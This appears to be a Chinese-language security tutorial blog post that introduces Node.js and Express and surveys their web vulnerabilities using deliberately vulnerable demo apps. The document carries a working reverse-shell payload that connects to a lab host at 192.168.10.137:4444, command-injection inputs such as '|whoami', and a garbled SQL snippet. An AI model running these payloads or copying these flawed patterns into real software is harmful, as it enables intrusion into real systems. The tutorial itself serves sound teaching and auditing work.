0x01 基本概念 简介 Node.js是一个基于Chrome V8引擎的JavaScript运行环境。Node.js使用了一个事件驱动、非阻塞式I/O的模型。
Node是一个让JavaScript运行在服务端的开发平台,它让JavaScript成为与PHP、Python、Perl、Ruby等服务端语言平起平坐的脚本语言。实质是对Chrome V8引擎进行了封装。
Node对一些特殊用例进行优化,提供替代的API,使得V8在非浏览器环境下运行得更好。V8引擎执行Javascript的速度非常快,性能非常好。Node是一个基于Chrome JavaScript运行时建立的平台, 用于方便地搭建响应速度快、易于扩展的网络应用。Node 使用事件驱动, 非阻塞I/O 模型而得以轻量和高效,非常适合在分布式设备上运行数据密集型的实时应用。
环境安装、基础语法与特性 参考:https://www.runoob.com/nodejs/nodejs-tutorial.html
第一个应用 Node.js应用由以下三部分组成:
引入required模块:我们可以使用require指令来载入Node.js模块。
创建服务器:服务器可以监听客户端的请求,类似于Apache、Nginx等HTTP服务器。
接收请求与响应请求:服务器很容易创建,客户端可以使用浏览器或终端发送HTTP请求,服务器接收请求后返回响应数据。
直接看下代码实现,test.js:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 var http = require ('http' );http.createServer(function (request, response ) { response.writeHead(200 , {'Content-Type' : 'text/plain' }); response.end('Mi1k7ea\n' ); }).listen(666 ); console .log('Server running at http://127.0.0.1:666/' );
直接用node命令运行即可:
Express框架 Express是一个简洁而灵活的Node.js Web应用框架,提供了一系列强大特性帮助你创建各种Web应用,和丰富的HTTP工具。
使用Express可以快速地搭建一个完整功能的网站。
Express框架核心特性:
可以设置中间件来响应HTTP请求。
定义了路由表用于执行不同的HTTP请求动作。
可以通过向模板传递参数来动态渲染HTML页面。
Express的安装:
1 2 3 4 npm install express --save npm install body-parser --save npm install cookie-parser --save npm install multer --save
以上命令会将Express框架以及几个重要的模块一起安装在node_modules目录中,node_modules目录下会自动创建express目录。几个重要的模块介绍如下:
body-parser - node.js 中间件,用于处理 JSON, Raw, Text 和 URL 编码的数据。
cookie-parser - 这就是一个解析Cookie的工具。通过req.cookies可以取到传过来的cookie,并把它们转成对象。
multer - node.js 中间件,用于处理 enctype=”multipart/form-data”(设置表单的MIME编码)的表单数据。
安装完后,我们可以查看下express使用的版本号:
1 2 3 E:\>npm list express E:\ `-- express@4.17.1
Demo应用,express_demo.js:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 var express = require ('express' );var app = express(); app.get('/' , function (req, res ) { res.send('Express Test' ); }) var server = app.listen(8888 , function ( ) { var host = server.address().address var port = server.address().port console .log("应用实例,访问地址为 http://%s:%s" , host, port) })
接着用命令node express_demo.js
运行即可访问。
在页面中访问,可以看到响应报文中有个X-Powered-By头,其值为Express,也就是说,在日常的抓包中看到该头字段即可知道是使用的Node.js的Express框架:
0x02 Node.js安全 Node.js中的Web安全问题和传统的Web安全问题都是一样的,只是代码实现上有语法的差异而已。
代码注入 Node.js同样存在代码注入问题,需要重点关注eval、setInteval、setTimeout、new Function等函数的参数是否外部可控。
示例代码如下:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 var express = require ('express' );var app = express();var port = 8181 ;app.get('/' , function (req, res ) { var a = eval (req.query.a); var b = eval (req.query.b); var r = a + b; res.send('Sum a+b=' + r); }) console .log("App is listening on port: " + port);app.listen(port);
强制应用退出的payload如下,执行之后Express服务就终止了:
再深入利用,反弹shell的payload如下:
1 2 3 4 5 6 7 8 9 10 11 12 13 function rev (host,port ) { var net = require ('net' ); var cp = require ('child_process' ); var cmd = cp.spawn('cmd.exe' , []); var client = new net.Socket(); client.connect(port, host, function ( ) { client.write('Connected\r\n' ); client.pipe(cmd.stdin); cmd.stdout.pipe(client); cmd.stderr.pipe(client); client.on( 'exit' , function (code,signal ) { client.end('Disconnected\r\n' ); } ); client.on( 'error' ,function (e ) { setTimeout( rev(host,port), 5000 ); }) }); }; rev('192.168.10.137' , 4444 );
直接注入访问:
在Kali中成功拿到反弹shell:
命令注入 Node.js同样存在命名注入漏洞,需重点关注模块child_process的函数,因为这个模块包含了创建一个新进程来执行系统命令的功能。
示例代码如下,直接使用外部参数拼接ping命令:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 var express = require ('express' );var cmd = require ('child_process' );var app = express();var port = 8181 ;app.get('/' , function (req, res ) { cmd.exec("ping -n 4 " + req.query.ip,function (err,data ) { res.send('Ping Results: <pre>' + data + '</pre>' ); }) }) console .log("App is listening on port: " + port);app.listen(port);
正常访问:
尝试进行命令注入:
1 2 ?ip=|whoami ?ip=127.0.0.1||whoami
XSS Node.js本身没有XSS防护机制,也不像Java那样拥有强大的过滤器来实现过滤用户的有害输入从而防御XSS。若是未经过滤直接显示外部的输入则导致XSS。但是可以通过设置HTTP头中加入X-XSS-Protection在浏览器端缓解XSS。
示例代码如下:
1 2 3 4 5 6 7 8 9 10 11 var express = require ('express' );var app = express();var port = 8181 ;app.get('/' , function (req, res ) { res.send('Hello, ' + req.query.name); }) console .log("App is listening on port: " + port);app.listen(port);
直接注入XSS payload即可:
SSRF Node.js的needle模块可发起GET/POST等HTTP请求,当其参数外部可控时可造成SSRF漏洞。
示例代码如下:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 var express = require ('express' );var app = express();var needle = require ('needle' );var port = 8181 ;app.get('/' , function (req, res ) { var url = req.query['url' ]; needle.get(url, function (error, response ) { if (!error && response.statusCode == 200 ) res.send(response.body); }); console .log('new request:' + url); }) console .log("App is listening on port: " + port);app.listen(port);
HTTP参数污染 Node.js有一个奇怪的特性,即允许一个参数有多个值。假设有一个参数叫做name,我们给这个参数传递了多个值,最终name参数将包含这两个值,两个值之间用逗号隔开。该特性可用来进行参数解析漏洞的利用。
示例代码如下:
1 2 3 4 5 6 7 8 9 10 11 12 var express = require ('express' );var app = express();var port = 8181 ;app.get('/' , function (req, res ) { var name = req.query.name; res.send("Name: " + name); }); console .log("App is listening on port: " + port);app.listen(port);
SQL注入
Node.js的网站注入漏洞很少。Node.js通常与mysql/mongodb搭配使用,因为sql注入的漏洞危害很高并且存在多年了,一些新出现的语言如openresty+lua/node.js等天生会规避掉这种安全问题。它们通常都采用了占位符或者叫参数化查询来与数据库交互。node.js 原生的与数据库交互代码如下:
1 2 3 4 5 6 7 8 9 10 11 12 var mysql = require ('mysql' ) ; var connection = mysql .createConnection({ host : 'localhost' , user: 'root' , password: 'root' , port: '3306' , database: 'admin' , }) ; connection.connect( ); var sql = 'select * from admin where id =?' '; Var param=[1]; connection.query( sql,param); connection.end( );
Node.js现在已经有了orm框架(比如Sequelize),因此注入漏洞就跟少了。但是如果程序员写代码时不小心用了字符串拼接,还是会造成sql注入的。如下:
1 select * from admin where id =$id
文件上传
Node.js的网站由于特有的路由规则,它的的上传问题虽然不像php、jsp、asp等脚本语言,若攻击者上传若未经过滤的脚本,便可轻松的拿到shel。但是代码中若存在路径跳转漏洞,攻击者可以直接将shell脚本木马上传到/etc/rc.d等启动项下面,或者是直接上传相应的index.js文件覆盖到第三方模块express等目录下,通过精心构造的js文件也能实现命令执行的目的。
文件上传示例代码如下:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 var express = require ('express' );var app = express();var fs = require ('fs' );var multer = require ('multer' );app.use(multer({ dest : 'E:/' }).array('image' )); app.use(express.static('public' )); var port = 8181 ;app.post('/' , function (req, res ) { console .log(req.files[0 ]); var des_file = __dirname + '/' + req.files[0 ].originalname; fs.readFile( req.files[0 ].path, function (err, data ) { fs.writeFile(des_file, data, function (err ) { if ( err ){ console .log( err ); }else { response = { message:'File uploaded successfully' , filename:req.files[0 ].originalname }; } console .log( response ); res.end( JSON .stringify( response ) ); }); }); }); console .log("App is listening on port: " + port);app.listen(port);
uploadfile.html:
1 2 3 4 5 6 7 8 9 10 11 12 13 <html > <head > <title > File</title > </head > <body > Upload File: <br > <form action ="http://127.0.0.1:8181/" method ="post" enctype ="multipart/form-data" > <input type ="file" name ="image" size ="50" /> <br > <input type ="submit" value ="upload" /> </form > </body > </html >
上传文件示例:
NPM
任何人都可以创建模块发布到npm上,供别人调用,虽然这为开发者带来了一定的便利性,但必然隐藏着安全隐患,假如一不小心使用了不安全的第三方模块后果可想而知了,比如前段时间闹得沸沸扬扬的node-serialize模块所引起的远程代码执行漏洞(cve-2017-5914)。现在有一款NSP 工具可以帮助检查第三方模块现有漏洞。
1 2 npm i nsp –g //安装nsp nsp check 要检查的package.json //检查是否有漏洞
反序列化漏洞 可参考:《node-serialize反序列化漏洞》 。
0x03 工具 参考:https://github.com/ajinabraham/NodeJsScan
0x04 参考 浅谈Node.js Web的安全问题
渗透测试 Node.js 应用
实战教你如何利用NodeJS 漏洞?
An Introduction to Penetration Testing Node.js Applications